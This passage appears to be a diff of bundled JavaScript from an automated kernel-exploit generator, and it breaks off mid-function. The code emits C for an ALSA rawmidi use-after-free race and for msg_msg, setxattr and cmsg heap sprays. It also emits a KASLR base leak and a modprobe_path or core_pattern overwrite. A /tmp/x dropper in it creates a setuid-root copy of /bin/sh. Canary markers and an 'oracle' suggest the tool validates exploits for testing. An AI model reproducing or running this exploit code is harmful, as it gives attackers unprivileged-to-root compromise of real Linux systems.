+    "       can sweep it without re-emitting. */",
+    "    unsigned long recon_len = (unsigned long)osec_race_envint(",
+    '      "0SEC_RECON_SYSEX_LEN", OSEC_RECON_SYSEX_LEN_DEFAULT);',
+    "    if (recon_len < 8) recon_len = 8;",
+    "    if (recon_len > sizeof(g_recon_payload)) recon_len = sizeof(g_recon_payload);",
+    "    g_recon_payload[0] = 0xF0;",
+    "    for (unsigned long i = 1; i + 1 < recon_len; i++) g_recon_payload[i] = (unsigned char)(i & 0x7f);",
+    "    g_recon_payload[recon_len - 1] = 0xF7;",
+    "    g_recon_len = recon_len;",
+    ...params.rootTailPath !== void 0 ? [
+      "    /* Stage the SHORT escalation payload (the root-tail path string), copied",
+      "       VERBATIM (no F0/F7 wrapper) so the exact bytes land at modprobe_path.",
+      "       Once staged (g_esc_len > 0) the flood thread sends ONLY this payload",
+      "       every iteration (the manual root proof's pure-ESC flood) \u2014 high write",
+      "       rate => many recoverable UAF reads before the fatal NULL-runtime window,",
+      "       and every write is the modprobe_path write-what-where. */",
+      ...cByteStage("g_esc_payload", "g_esc_len", params.rootTailPath)
+    ] : [
+      "    /* No root-tail path supplied \u2014 only the recon flood runs (UAF fires, no",
+      "       escalation write delivered). Honest: g_esc_len stays 0. */"
+    ],
+    "    /* Resolve the race knobs (env wins, else sane manual-proof defaults). */",
+    `    int n_flood = osec_race_envint("0SEC_RACE_FLOOD_THREADS", ${floodDefault});`,
+    `    int n_spray = osec_race_envint("0SEC_RACE_SPRAY_THREADS", ${sprayDefault});`,
+    `    int run_secs = osec_race_envint("0SEC_RACE_SECONDS", ${secsDefault});`,
+    '    int same_cpu = osec_race_envint("0SEC_RACE_SAME_CPU", 0);',
+    "    if (n_flood < 1) n_flood = 1;",
+    "    if (n_spray < 1) n_spray = 1;",
+    "    if (run_secs < 1) run_secs = 1;",
+    "    /* CPU topology: manual default puts free + spray on g_cpu_free and the",
+    "       flood on a different CPU; SAME_CPU=1 collapses the flood onto g_cpu_free.",
+    "       Clamp g_cpu_flood to a real online CPU so sched_setaffinity does not no-op. */",
+    "    if (same_cpu) g_cpu_flood = g_cpu_free;",
+    "    long ncpu = sysconf(_SC_NPROCESSORS_ONLN);",
+    "    if (ncpu > 0 && g_cpu_flood >= ncpu) g_cpu_flood = same_cpu ? g_cpu_free : 0;",
+    "    (void)osec_install_kprobe_widener(); /* best-effort, fail-soft (reads 0SEC_RACE_PARK_US) */",
+    "    /* BUG#1 FIX: arm the race BEFORE forking the dropped-uid trigger. The child",
+    "       inherits g_race_run at fork() time, so if it were still 0 the child's",
+    "       while (g_race_run) request_module loop would never run (it would print",
+    "       DROP and return immediately, rm_hits=0). Set it to 1 here, before the",
+    "       fork, so the child sees 1 and fires request_module throughout the race. */",
+    "    g_race_run = 1;",
+    ...params.forkTrigger ? [
+      "    /* fix #4/#5: drop /tmp/x and FORK the dropped-uid request_module trigger",
+      "       BEFORE the race so it fires CONTINUOUSLY (concurrent with the race) and",
+      "       catches the async modprobe_path win via its /tmp/pwned poll. The child's",
+      "       setuid cannot taint the racing threads (separate process). Honest gate:",
+      "       only fork when the write target was resolved \u2014 if (g_target_addr == 0)",
+      "       the write cannot be aimed at modprobe_path, so firing the trigger would",
+      "       prove nothing (and the spray stamped a 0 buffer). */",
+      "    pid_t osec_trig_pid = -1;",
+      "    if (g_target_addr == 0) {",
+      "      /* HONEST GAP: no resolved/leaked target address \u2014 do NOT drop the",
+      "         payload or fork the trigger; the chain stops short of root. */",
+      "    } else if (osec_drop_payload() == 0) {",
+      "      osec_trig_pid = fork();",
+      "      if (osec_trig_pid == 0) { osec_trigger_worker(); _exit(0); }",
+      "    }"
+    ] : [],
+    "    /* Spawn the continuous threads: n_flood floods + 1 toggle/free + n_spray sprays.",
+    "       The single toggle thread keeps ONE subscription oscillating 0<->1 so every",
+    "       unsubscribe frees; multiple flood + spray threads drive the USE and the",
+    "       same-CPU reclaim hard enough to hit the manual coincidence rate. */",
+    "    /* g_race_run already set to 1 above (before the trigger fork) \u2014 BUG#1 FIX. */",
+    "    pthread_t toggle;",
+    "    pthread_t floods[64], sprays[64];",
+    "    if (n_flood > 64) n_flood = 64;",
+    "    if (n_spray > 64) n_spray = 64;",
+    "    pthread_create(&toggle, NULL, osec_toggle_thread, NULL);",
+    "    for (int i = 0; i < n_flood; i++)",
+    "      pthread_create(&floods[i], NULL, osec_flood_thread, NULL);",
+    "    for (int i = 0; i < n_spray; i++)",
+    "      pthread_create(&sprays[i], NULL, osec_spray_thread, NULL);",
+    "    /* Let the continuous race run for the wall-clock budget, then stop. A won",
+    "       race fires the DROP->ROOT markers from the escalation tail asynchronously;",
+    "       the oracle keys only on those witnessed markers, never on elapsed time. */",
+    "    sleep((unsigned int)run_secs);",
+    "    g_race_run = 0;",
+    "    pthread_join(toggle, NULL);",
+    "    for (int i = 0; i < n_flood; i++) pthread_join(floods[i], NULL);",
+    "    for (int i = 0; i < n_spray; i++) pthread_join(sprays[i], NULL);",
+    ...params.forkTrigger ? [
+      "    /* Reap the forked trigger. g_race_run=0 (above) tells it to stop; it may",
+      "       have already exited after printing the ROOT marker on a /tmp/pwned win. */",
+      "    if (osec_trig_pid > 0) { kill(osec_trig_pid, SIGTERM); waitpid(osec_trig_pid, NULL, 0); }"
+    ] : [],
+    "    /* Telemetry (manual proof's 'done sub=.. write=.. spray=..' line). write=0",
+    "       is the definitive 'the flood never reached the kernel write path' signal \u2014",
+    "       the race was mis-co-timed and no UAF could have fired. Printed to stderr",
+    "       so it never pollutes the canary-marker stream the oracle parses. */",
+    '    fprintf(stderr, "[*] race done: write_ok=%lu spray=%lu\\n",',
+    "            g_n_write_ok, g_n_spray);",
+    "  } else {",
+    "    /* HONEST GAP: setup failed \u2014 /dev/snd/seq unavailable (no sound stack)",
+    "       OR no HARDWARE MIDI synth port with SUBS_WRITE was discovered. With no",
+    "       hardware port to subscribe to, the real free cannot be driven (a self-",
+    "       subscription frees nothing), so NO RECLAIM/ROOT marker fires. No free",
+    "       is attempted and no fake marker is printed. */",
+    "  }"
+  ];
+}
+
+// packages/core/dist/kernel/exploit/weaponization-completeness.js
+function selectFinisher(tail, family, writeAimable) {
+  if (family === "timer-list-uaf")
+    return "fake-cred-oneshot";
+  if (!tail)
+    return "none";
+  if (!writeAimable)
+    return "none";
+  switch (tail) {
+    case "modprobe_path":
+    case "workqueue-www":
+      return "modprobe-request-module";
+    case "core_pattern":
+      return "core-pattern-crash";
+    // `fake-cred` without the timer-UAF driver, and `cred` with no cred pointer,
+    // have no emittable body.
+    case "fake-cred":
+    case "cred":
+      return "none";
+  }
+}
+function assessWeaponization(input) {
+  const { rootTailPlan: tail, family, writeAimable, climbsToRoot } = input;
+  const finisher = selectFinisher(tail?.tail, family, writeAimable);
+  if (!climbsToRoot)
+    return { finisher, complete: true, gaps: [] };
+  const gaps = [];
+  if (!input.writeProfile)
+    gaps.push("no-write-profile");
+  if (!input.sprayPlans || input.sprayPlans.length === 0)
+    gaps.push("no-spray-plan");
+  if (!tail) {
+    gaps.push("no-root-tail-plan");
+  } else {
+    if (!tail.targetSymbol)
+      gaps.push("no-root-tail-symbol");
+    if (finisher === "none")
+      gaps.push(`no-finisher-for-tail:${tail.tail}`);
+    if (tail.hardenedNeedsTextLeak)
+      gaps.push("needs-kernel-text-leak");
+    if (finisher !== "fake-cred-oneshot" && !tail.targetAddr) {
+      gaps.push("target-addr-unresolved");
+    }
+  }
+  if (finisher !== "fake-cred-oneshot" && !family)
+    gaps.push("no-trigger-geometry");
+  if (tail && !writeAimable)
+    gaps.push("write-not-aimable");
+  return { finisher, complete: gaps.length === 0, gaps };
+}
+var PARTIAL_MARKER_TAG = "PARTIAL";
+var PARTIAL_DEFINE = "0SEC_WEAPONIZATION_PARTIAL";
+var COMPLETE_DEFINE = "OSEC_WEAPONIZATION_COMPLETE";
+function artifactVerdictLine(a) {
+  const status = a.complete ? "COMPLETE" : "PARTIAL";
+  const gaps = a.gaps.length ? a.gaps.join(",") : "none";
+  return `0SEC-ARTIFACT: ${status} finisher=${a.finisher} gaps=${gaps}`;
+}
+
+// packages/core/dist/kernel/exploit/templates.js
+var DROP_UID = 65534;
+function cSafe(token) {
+  return token.replace(/[^A-Za-z0-9._:-]/g, "");
+}
+function commentSafe(text) {
+  return text.replace(/\*\//g, "* /");
+}
+function slabBytes2(hint) {
+  if (!hint)
+    return void 0;
+  const m = hint.match(/kmalloc-(?:cg-)?(\d+)/);
+  if (m)
+    return parseInt(m[1], 10);
+  return void 0;
+}
+var DATALEN_MSG = 4096 - 48;
+var MSGSEG_HDR = 8;
+function markerPreamble(canary) {
+  const safe = cSafe(canary);
+  return [
+    "#define _GNU_SOURCE",
+    "#include <stdio.h>",
+    "#include <stdlib.h>",
+    "#include <string.h>",
+    "#include <unistd.h>",
+    "#include <errno.h>",
+    "#include <sched.h>",
+    "#include <fcntl.h>",
+    "#include <sys/types.h>",
+    "#include <sys/stat.h>",
+    // chmod() in the /tmp/x dropper (fix #4)
+    "#include <sys/wait.h>",
+    "#include <sys/ipc.h>",
+    "#include <sys/msg.h>",
+    "#include <sys/socket.h>",
+    "#include <sys/syscall.h>",
+    "#include <sys/xattr.h>",
+    "#include <signal.h>",
+    // kill() bounds the generic-family trigger worker
+    "",
+    `#define OSEC_CANARY "${safe}"`,
+    "",
+    "/* Print a deterministic, canary-bound success marker the oracle keys on. */",
+    "static void osec_marker(const char *tag, const char *detail) {",
+    "  if (detail && detail[0])",
+    '    printf("0SEC-CANARY:%s:%s:%s\\n", OSEC_CANARY, tag, detail);',
+    "  else",
+    '    printf("0SEC-CANARY:%s:%s\\n", OSEC_CANARY, tag);',
+    "  fflush(stdout);",
+    "}",
+    "",
+    "/* Pin the calling thread to one CPU so spray + free + reclaim share a",
+    "   per-CPU slab freelist (the same-CPU assumption the spray plan needs). */",
+    "static int osec_pin_cpu(int cpu) {",
+    "  cpu_set_t set;",
+    "  CPU_ZERO(&set);",
+    "  CPU_SET(cpu, &set);",
+    "  return sched_setaffinity(0, sizeof(set), &set);",
+    "}",
+    "",
+    "/* The CPU the free + reclaim spray share (the manual-proof same-CPU freelist",
+    "   assumption). Declared here (always present) so osec_reclaim_spray() can",
+    "   pin to it; the ALSA continuous-thread driver overwrites it from the resolved",
+    "   0SEC_RACE_SAME_CPU topology before spawning. Default 0 for the generic",
+    "   (no-family) path, which still pins spray + free to the same CPU. */",
+    "int g_cpu_free = 0;",
+    "",
+    "/* Race telemetry counters (mirroring the manual proof's n_write_ok / n_spray).",
+    "   Declared here (always present) so the spray helper increments them on every",
+    "   path; the ALSA driver prints them after the race. g_n_write_ok==0 is the",
+    "   definitive 'the flood never reached the kernel write path' signal. */",
+    "volatile unsigned long g_n_write_ok = 0;",
+    "volatile unsigned long g_n_spray = 0;",
+    "static void osec_count_spray(void) { __sync_fetch_and_add(&g_n_spray, 1); }"
+  ].join("\n");
+}
+function emitMsgsndSpray(canary, victimBytes, profile, rootTail, sprayId) {
+  const target = victimBytes ?? 192;
+  const segPayload = Math.max(target - MSGSEG_HDR, 0);
+  const total = DATALEN_MSG + segPayload;
+  const dst = profile?.dstOffset;
+  const tailSym = rootTail?.targetSymbol;
+  const place = [];
+  place.push("  /* Place controlled bytes inside the reclaiming 2nd segment. The segment's", "     first MSGSEG_HDR(8) bytes are the kernel msg_msgseg.next; the attacker's", "     bytes start at object offset 0x08, so object offset `o` lands at segment", "     byte `o - MSGSEG_HDR` (NOT `o`). This is the off-by-8 the manual proof", "     encodes as PUT64(off) -> s2[off-0x08]. */", "  unsigned char *seg = (unsigned char *)body + DATALEN_MSG;", `#define SEGB(o) ((o) - ${MSGSEG_HDR}) /* object offset -> 2nd-segment byte */`);
+  if (dst === void 0) {
+    place.push("  /* PARTIAL: no dstOffset in the write profile \u2014 cannot aim runtime->buffer;", "     spray still reclaims the object but the write target is unproven. */");
+  } else if (dst < MSGSEG_HDR) {
+    place.push(`  /* PARTIAL: dstOffset 0x${dst.toString(16)} < MSGSEG_HDR(0x${MSGSEG_HDR.toString(16)}) lies in the kernel`, "     msg_msgseg.next pointer \u2014 UNCONTROLLABLE via the 2nd-segment spray. The", "     copy cannot be aimed; the write target is unproven. */");
+  } else {
+    place.push(`  /* runtime->buffer (object +0x${dst.toString(16)}) \u2190 root-tail target symbol address.`, `     This is the DEST BASE of memcpy(runtime->buffer + hw_ptr, payload, n). */`, tailSym ? `  *(unsigned long *)(seg + SEGB(0x${dst.toString(16)})) = g_target_addr; /* &${cSafe(tailSym)} */` : `  *(unsigned long *)(seg + SEGB(0x${dst.toString(16)})) = g_target_addr;`);
+  }
+  place.push("  /* The real snd_rawmidi_runtime fields the receive path reads (off-by-8", "     corrected via SEGB). buffer_size 0x00ff1000 = the reclaim sentinel AND a", "     generous bound; appl_ptr/hw_ptr/avail/buffer_ref = 0 (hw_ptr is the dest", "     index on the OUTPUT path, kept 0 so the write lands at buffer+0). */", "  *(unsigned long *)(seg + SEGB(0x18)) = 0x00ff1000UL; /* buffer_size + sentinel */", "  *(unsigned long *)(seg + SEGB(0x20)) = 0;            /* appl_ptr (read-path idx) */", "  *(unsigned long *)(seg + SEGB(0x28)) = 0;            /* hw_ptr (output dest idx) */", "  *(unsigned long *)(seg + SEGB(0x38)) = 0;            /* avail (< buffer_size)     */", "  *(unsigned long *)(seg + SEGB(0x50)) = 0;            /* buffer_ref (no spin)      */", "#undef SEGB");
+  return [
+    "  /* \u2500\u2500 Spray phase \u2014 msgsnd() 2nd-segment reclaim \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500",
+    `     victim bucket: kmalloc-${target}; 2nd-seg payload ${segPayload}B + ${MSGSEG_HDR}B hdr.`,
+    `     message body = DATALEN_MSG(${DATALEN_MSG}) + ${segPayload} = ${total} bytes;`,
+    "     the continuation allocation is kmalloc-" + target + ", aliasing the freed object. */",
+    "  /* g_target_addr (file-scope global) is set at the top of main() before this",
+    "     spray runs, so the fake-object buffer ptr points at the root-tail symbol.",
+    "     The escalation path string itself is delivered by the SYSEX FLOOD (the",
+    "     memcpy SOURCE), not staged here \u2014 the spray only authors the fake runtime. */",
+    `#define DATALEN_MSG ${DATALEN_MSG}`,
+    "  /* Persistent reclaimer: the message stays in the queue until msgrcv(). */",
+    "  static struct { long mtype; char mtext[" + total + "]; } mb;",
+    "  mb.mtype = 1;",
+    "  unsigned char *body = (unsigned char *)mb.mtext;",
+    "  memset(body, 0x41, sizeof(mb.mtext));",
+    ...place,
+    "",
+    "  /* A fresh queue per round so each round gets a hot, full set of resident",
+    "     reclaimers; the messages STAY allocated (no msgrcv) so the continuation",
+    "     segment pins the freed slot through the dangling write. Old queues are",
+    "     reclaimed once the run ends (IPC_RMID below) to bound resource use. */",
+    "  static int qids[64]; static int nq = 0;",
+    "  int qid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);",
+    "  if (qid < 0) { return; }",
+    "  if (nq < (int)(sizeof(qids)/sizeof(qids[0]))) qids[nq++] = qid;",
+    "  else { /* recycle oldest to cap queue count */ msgctl(qids[nq % 64], IPC_RMID, NULL); qids[nq++ % 64] = qid; }",
+    "  int sprayed = 0;",
+    "  for (int i = 0; i < 64; i++) {",
+    "    if (msgsnd(qid, &mb, sizeof(mb.mtext), IPC_NOWAIT) == 0) { sprayed++; osec_count_spray(); }",
+    "    else break; /* queue full \u2014 enough resident reclaimers for this round */",
+    "  }",
+    `  osec_marker("RECLAIM", "${cSafe(sprayId)}"); /* reclaim attempt fired */`,
+    "#undef DATALEN_MSG"
+  ];
+}
+function emitSetxattrSpray(victimBytes, profile, sprayId) {
+  const target = victimBytes ?? 192;
+  const dst = profile?.dstOffset;
+  return [
+    "  /* \u2500\u2500 Spray phase \u2014 setxattr() transient reclaim \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500",
+    `     victim bucket: kmalloc-${target}; value buffer freed on syscall return. */`,
+    `  static unsigned char xbuf[${target}];`,
+    "  memset(xbuf, 0x41, sizeof(xbuf));",
+    dst !== void 0 ? `  *(unsigned long *)(xbuf + 0x${dst.toString(16)}) = g_target_addr;` : "  /* PARTIAL: no dstOffset \u2014 transient spray content unaimed. */",
+    '  for (int i = 0; i < 64; i++) setxattr("/tmp", "user.0sec", xbuf, sizeof(xbuf), 0);',
+    `  osec_marker("RECLAIM", "${cSafe(sprayId)}");`
+  ];
+}
+function emitCmsgSpray(victimBytes, sprayId) {
+  const target = victimBytes ?? 192;
+  return [
+    "  /* \u2500\u2500 Spray phase \u2014 sendmsg() cmsg transient reclaim \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500",
+    `     victim bucket: kmalloc-${target}; control buffer freed as sendmsg returns. */`,
+    `  static char cbuf[${target}];`,
+    "  memset(cbuf, 0x41, sizeof(cbuf));",
+    "  int sv[2]; socketpair(AF_UNIX, SOCK_DGRAM, 0, sv);",
+    "  struct msghdr mh; memset(&mh, 0, sizeof(mh));",
+    "  mh.msg_control = cbuf; mh.msg_controllen = sizeof(cbuf);",
+    "  for (int i = 0; i < 64; i++) sendmsg(sv[0], &mh, MSG_DONTWAIT);",
+    `  osec_marker("RECLAIM", "${cSafe(sprayId)}");`
+  ];
+}
+function pickSpray(params) {
+  const best = (params.sprayPlans ?? []).find((p) => p.bucketMatch) ?? (params.sprayPlans ?? [])[0];
+  const sprayId = best ? cSafe(best.primitive) : "no-spray";
+  return { best, sprayId };
+}
+function sprayBodyLines(canary, params) {
+  const victim = slabBytes2(params.objectHint);
+  const { best, sprayId } = pickSpray(params);
+  if (!best) {
+    return [
+      "  /* \u2500\u2500 Spray phase \u2014 PARTIAL: no spray plan selected \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500",
+      "     no viable reclaim vector for this victim cache/config; the chain",
+      "     cannot demonstrate a controlled reclaim. Climb stops at attempted. */"
+    ];
+  }
+  if (best.primitive === "msgsnd-2ndseg" || best.primitive === "msg_msg") {
+    return emitMsgsndSpray(canary, victim, params.writeProfile, params.rootTailPlan, sprayId);
+  }
+  if (best.primitive === "setxattr") {
+    return emitSetxattrSpray(victim, params.writeProfile, sprayId);
+  }
+  if (best.primitive === "cmsg") {
+    return emitCmsgSpray(victim, sprayId);
+  }
+  return [
+    `  /* \u2500\u2500 Spray phase \u2014 '${cSafe(best.primitive)}' (generic) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500`,
+    `     victim bucket: kmalloc-${victim ?? 192}. */`,
+    `  osec_marker("RECLAIM", "${sprayId}");`
+  ];
+}
+function emitReclaimSprayFunction(canary, params) {
+  return [
+    "/* Reclaim the just-freed victim slot with controlled bytes, on the free's",
+    "   CPU (per-CPU freelist). Called in the race loop by the trigger driver. */",
+    "static void osec_reclaim_spray(void) {",
+    "  osec_pin_cpu(g_cpu_free); /* same CPU as the free (per-CPU freelist) */",
+    ...sprayBodyLines(canary, params),
+    "}"
+  ].join("\n");
+}
+function emitSprayPhase(canary, params, family, climbsToRoot, assessment) {
+  if (family === "alsa-seq-rawmidi") {
+    return [
+      "  /* \u2500\u2500 Reclaim phase \u2014 bug-specific free/race + same-CPU reclaim \u2500\u2500\u2500\u2500\u2500\u2500",
+      "     The trigger geometry below drives the real snd_rawmidi_runtime free",
+      "     and interleaves osec_reclaim_spray() on the same CPU each round. */",
+      ...emitTriggerDriver({
+        ...params.faultingPc ? { faultingPc: params.faultingPc } : {},
+        ...params.objectHint ? { slabCache: params.objectHint } : {},
+        ...params.writeProfile ? { writeProfile: params.writeProfile } : {},
+        ...params.rootTailPlan?.pathString !== void 0 ? { rootTailPath: params.rootTailPlan.pathString } : {},
+        // Fork the dropped-uid request_module trigger in-race only when the
+        // emission actually has that finisher AND the ladder reaches root — the
+        // same verdict that gates emitRootTailHelpers (which defines the forked
+        // worker), keeping the call and its definition in lock-step.
+        forkTrigger: climbsToRoot && assessment.finisher === "modprobe-request-module",
+        pinCpu: 0
+      })
+    ].join("\n");
+  }
+  if (family === "timer-list-uaf") {
+    return [
+      "  /* \u2500\u2500 Reclaim phase \u2014 timer-list UAF free/reclaim (fake-cred one-shot) \u2500",
+      "     The driver below forks the unprivileged victim, resolves commit_creds,",
+      "     drives the bug-specific free, sprays the forged cred into the freed",
+      "     chunk, and lets the re-armed timer fire commit_creds(&obj) in the child. */",
+      ...emitTimerUafDriver({
+        ...params.canary ? { canary: params.canary } : {},
+        ...params.objectHint ? { slabCache: params.objectHint } : {},
+        ...params.writeProfile ? { writeProfile: params.writeProfile } : {},
+        ...params.rootTailPlan?.hardenedNeedsTextLeak ? { hardenedNeedsTextLeak: true } : {}
+      })
+    ].join("\n");
+  }
+  return [
+    "  /* \u2500\u2500 Reclaim phase \u2014 generic same-CPU reclaim (no bug-specific free) \u2500\u2500",
+    "     No hand-proven free/race geometry for this bug family; the spray runs",
+    "     once and the oracle credits 'reclaim' only if the sprayed bytes are",
+    "     witnessed at the freed slot (RECLAIM_WITNESS). */",
+    "  osec_reclaim_spray();"
+  ].join("\n");
+}
+function kaslrLeakEmitted(rungs, tail, family) {
+  return rungs.includes("reclaim") && // The runtime KASLR-leak helper (`emitKaslrLeakFunction`) reclaims the
+  // snd_rawmidi_runtime and is ALSA-specific — never emit it for other
+  // families (the timer-list-uaf family resolves symbols via /proc/kallsyms).
+  family === "alsa-seq-rawmidi" && Boolean(tail?.kaslrOn) && Boolean(tail?.targetAddr) && Boolean(tail?.unslidBase);
+}
+function emitTargetAddrSetup(params, family) {
+  const tail = params.rootTailPlan;
+  if (!tail || !tail.targetSymbol) {
+    return [
+      "  /* No root-tail symbol resolved \u2014 g_target_addr stays 0 (inert). */"
+    ].join("\n");
+  }
+  const sym = cSafe(tail.targetSymbol);
+  if (family === "timer-list-uaf") {
+    return [
+      `  /* fake-cred tail: &${sym} is resolved at runtime via /proc/kallsyms in`,
+      "     osec_fakecred_setup (the KASLR-defeat channel for this family). If",
+      "     kptr_restrict hides it the one-shot refuses to fire (honest gap). */",
+      ...tail.hardenedNeedsTextLeak ? [
+        "  /* HONEST NOTE: KASLR ON + no kernel-text leak \u2014 the physmap MODE_LEAK",
+        "     recovers only page_offset_base, so a companion text infoleak (here",
+        "     /proc/kallsyms) is REQUIRED for commit_creds's slid address. */"
+      ] : []
+    ].join("\n");
+  }
+  if (tail.kaslrOn && !family) {
+    return [
+      `  /* KASLR ON and no leak channel for this bug family: a static &${sym} is`,
+      "     wrong and we have no way to recover the slide. g_target_addr stays 0;",
+      "     the chain honestly stops short of root (no faked address). */"
+    ].join("\n");
+  }
+  if (tail.kaslrOn && tail.targetAddr && tail.unslidBase) {
+    const off = BigInt(tail.targetAddr) - BigInt(tail.unslidBase);
+    return [
+      `  /* KASLR ON: resolve &${sym} at runtime. The image slides by one offset,`,
+      `     so &${sym} = kaslr_base + 0x${off.toString(16)} (its link-time distance`,
+      `     from _text @ ${tail.unslidBase}). Recover kaslr_base via a real leak. */`,
+      "  unsigned long kbase = osec_leak_kernel_base();",
+      "  if (kbase) {",
+      `    g_target_addr = kbase + 0x${off.toString(16)}UL; /* &${sym} (slid) */`,
+      '    { char kb[48]; snprintf(kb, sizeof(kb), "kaslr_base=0x%lx", kbase);',
+      '      osec_marker("ARB-READ", kb); /* a real kernel ptr was leaked */ }',
+      "  } else {",
+      "    /* HONEST GAP: the KASLR leak did not recover a kernel pointer this run;",
+      "       g_target_addr stays 0 and the escalation refuses to fire. */",
+      "    g_target_addr = 0;",
+      "  }"
+    ].join("\n");
+  }
+  if (tail.targetAddr) {
+    return [
+      `  /* KASLR OFF: &${sym} is fixed at link time \u2014 inline the static address. */`,
+      `  g_target_addr = (unsigned long)${tail.targetAddr}UL; /* &${sym} */`
+    ].join("\n");
+  }
+  return [
+    `  /* &${sym} was not resolved (no vmlinux at plan time): g_target_addr stays 0`,
+    "     \u2014 the write cannot be aimed and the chain stops short of root. */"
+  ].join("\n");
+}
+function emitKaslrLeakFunction() {
+  return [
+    "/* Runtime KASLR-base leak (RANDOMIZE_BASE on). Returns the slid kernel base,",
+    "   or 0 when no kernel pointer could be recovered this run (honest failure). */",
+    "static unsigned long osec_leak_kernel_base(void) {",
+    "  /* Reclaim the freed kmalloc-192 slot with an object carrying a stable",
+    "     kernel pointer, then read the slot back through the dangling read side.",
+    "     We reuse the SAME free/race geometry (single subscription) so the read",
+    "     lands on the reclaimed object. */",
+    "  unsigned long leaked = 0;",
+    "  if (g_seq_fd < 0) { if (osec_seq_setup() != 0) return 0; }",
+    "  if (g_rawmidi_fd < 0) return 0; /* no read channel \u2014 cannot leak */",
+    "  for (int attempt = 0; attempt < 256 && !leaked; attempt++) {",
+    "    /* Re-arm the free and reclaim with a pointer-carrying object. */",
+    "    osec_seq_sub(1);",
+    "    osec_seq_sub(0);            /* free the runtime */",
+    "    osec_reclaim_spray();       /* land controlled bytes in the slot */",
+    "    /* Read the (now reclaimed) runtime buffer back. A kernel .text pointer",
+    "       reads as 0xffffffff8xxxxxxx; mask to the 2 MiB-aligned text base. */",
+    "    unsigned long buf[24];",
+    "    memset(buf, 0, sizeof(buf));",
+    "    ssize_t n = read(g_rawmidi_fd, buf, sizeof(buf));",
+    "    for (unsigned i = 0; i < sizeof(buf)/sizeof(buf[0]) && n > 0; i++) {",
+    "      unsigned long v = buf[i];",
+    "      /* A kernel-text pointer: top bits set, in the kernel half. */",
+    "      if ((v & 0xffffffff00000000UL) == 0xffffffff00000000UL &&",
+    "          (v & 0xffffUL) != 0) {",
+    "        leaked = v & ~0x1fffffUL; /* mask to 2 MiB text-base alignment */",
+    "        break;",
+    "      }",
+    "    }",
+    "  }",
+    "  /* HONEST GAP: this recovers a 2 MiB-aligned base from ANY recovered .text",
+    "     pointer. If the reclaimed object carries no kernel pointer at a read-back",
+    "     offset on the running kernel, leaked stays 0 \u2014 we return 0 rather than a",
+    "     guess, and the caller declines to fire the root tail. */",
+    "  return leaked;",
+    "}"
+  ].join("\n");
+}
+function escalationFireable(params) {
+  const tail = params.rootTailPlan;
+  const dst = params.writeProfile?.dstOffset;
+  return Boolean(tail && tail.targetSymbol && dst !== void 0 && dst >= MSGSEG_HDR);
+}
+function emitRootTailHelpers(params, finisher, defineRaceFlag) {
+  const rootTag = RUNG_MARKER_TAG.root;
+  const raceFlag = defineRaceFlag && finisher === "modprobe-request-module" ? [
+    "/* The trigger worker's run flag. Declared here because this emission has no",
+    "   bug-specific race driver to declare it; the worker clears it on a win. */",
+    "volatile int g_race_run = 1;",
+    ""
+  ] : [];
+  const dropperIntro = finisher === "modprobe-request-module" ? [
+    "/* fix #4 \u2014 drop the /tmp/x payload BEFORE the race. When the UAF write",
+    '   overwrites modprobe_path with "/tmp/x" and request_module() fires, the',
+    "   kernel usermodehelper execs THIS script as root; it records the uid=0",
+    "   witness to /tmp/pwned (the evidence the ROOT marker is bound to) and drops",
+    "   a SUID-root shell. Mirrors colossus build_v6.sh. */"
+  ] : [
+    "/* fix #4 \u2014 drop the /tmp/x payload BEFORE the escalation. When the UAF",
+    '   write overwrites core_pattern with "|/tmp/x" and a task dumps core, the',
+    "   kernel pipes the core to THIS script as root; it records the uid=0",
+    "   witness to /tmp/pwned (the evidence the ROOT marker is bound to) and drops",
+    "   a SUID-root shell. Mirrors colossus build_v6.sh. */"
+  ];
+  const dropper = [
+    ...dropperIntro,
+    "static int osec_drop_payload(void) {",
+    '  FILE *f = fopen("/tmp/x", "w");',
+    "  if (!f) return -1;",
+    '  fputs("#!/bin/sh\\n", f);',
+    '  fputs("echo MODPROBE_HELPER_RAN uid=$(id -u) > /tmp/pwned\\n", f);',
+    '  fputs("id >> /tmp/pwned\\n", f);',
+    '  fputs("cp /bin/sh /tmp/rootsh\\n", f);',
+    '  fputs("chmod 4755 /tmp/rootsh\\n", f);',
+    "  fclose(f);",
+    '  chmod("/tmp/x", 0755);',
+    "  return 0;",
+    "}"
+  ];
+  if (finisher !== "modprobe-request-module") {
+    return [...raceFlag, ...dropper].join("\n");
+  }
+  const worker = [
+    "",
+    "/* fix #5 \u2014 the FORKED, continuously-running dropped-uid trigger. Forked",
+    "   BEFORE the race loop so its setuid does NOT taint the racing threads, and",
+    "   so it keeps firing request_module() THROUGHOUT the race (a won race lands",
+    "   the modprobe_path write asynchronously \u2014 a one-shot post-join trigger",
+    "   misses it). The ROOT credit is the /tmp/pwned uid=0 WITNESS written by the",
+    "   helper running as root \u2014 NOT getuid() in this dropped process (which never",
+    "   becomes root itself). Mirrors seqmidi_uaf6.c:179-200. */",
+    "static void osec_trigger_worker(void) {",
+    "  /* Drop to nobody so a win proves a REAL unprivileged->root escalation. The",
+    "     DROP marker is bound to the genuine setgid+setuid success (evidence-bound). */",
+    `  if (setgid(${DROP_UID}) != 0) { /* best-effort */ }`,
+    `  if (setuid(${DROP_UID}) != 0 || getuid() != ${DROP_UID}) {`,
+    "    /* HONEST GAP: could not drop uid \u2014 do NOT print DROP (no real drop). */",
+    "    return;",
+    "  }",
+    '  { char db[32]; snprintf(db, sizeof(db), "uid=%d", getuid());',
+    `    osec_marker("DROP", db); } /* bound to a real setuid (uid != 0 -> ${DROP_UID}) */`,
+    "  while (g_race_run) {",
+    '    /* request_module("net-pf-%d", fam) via socket() on unknown families. If',
+    "       modprobe_path was hijacked to /tmp/x, the kernel runs it as ROOT. */",
+    "    for (int fam = 27; fam < 46; fam++) {",
+    "      int fd = socket(fam, SOCK_DGRAM, 0);",
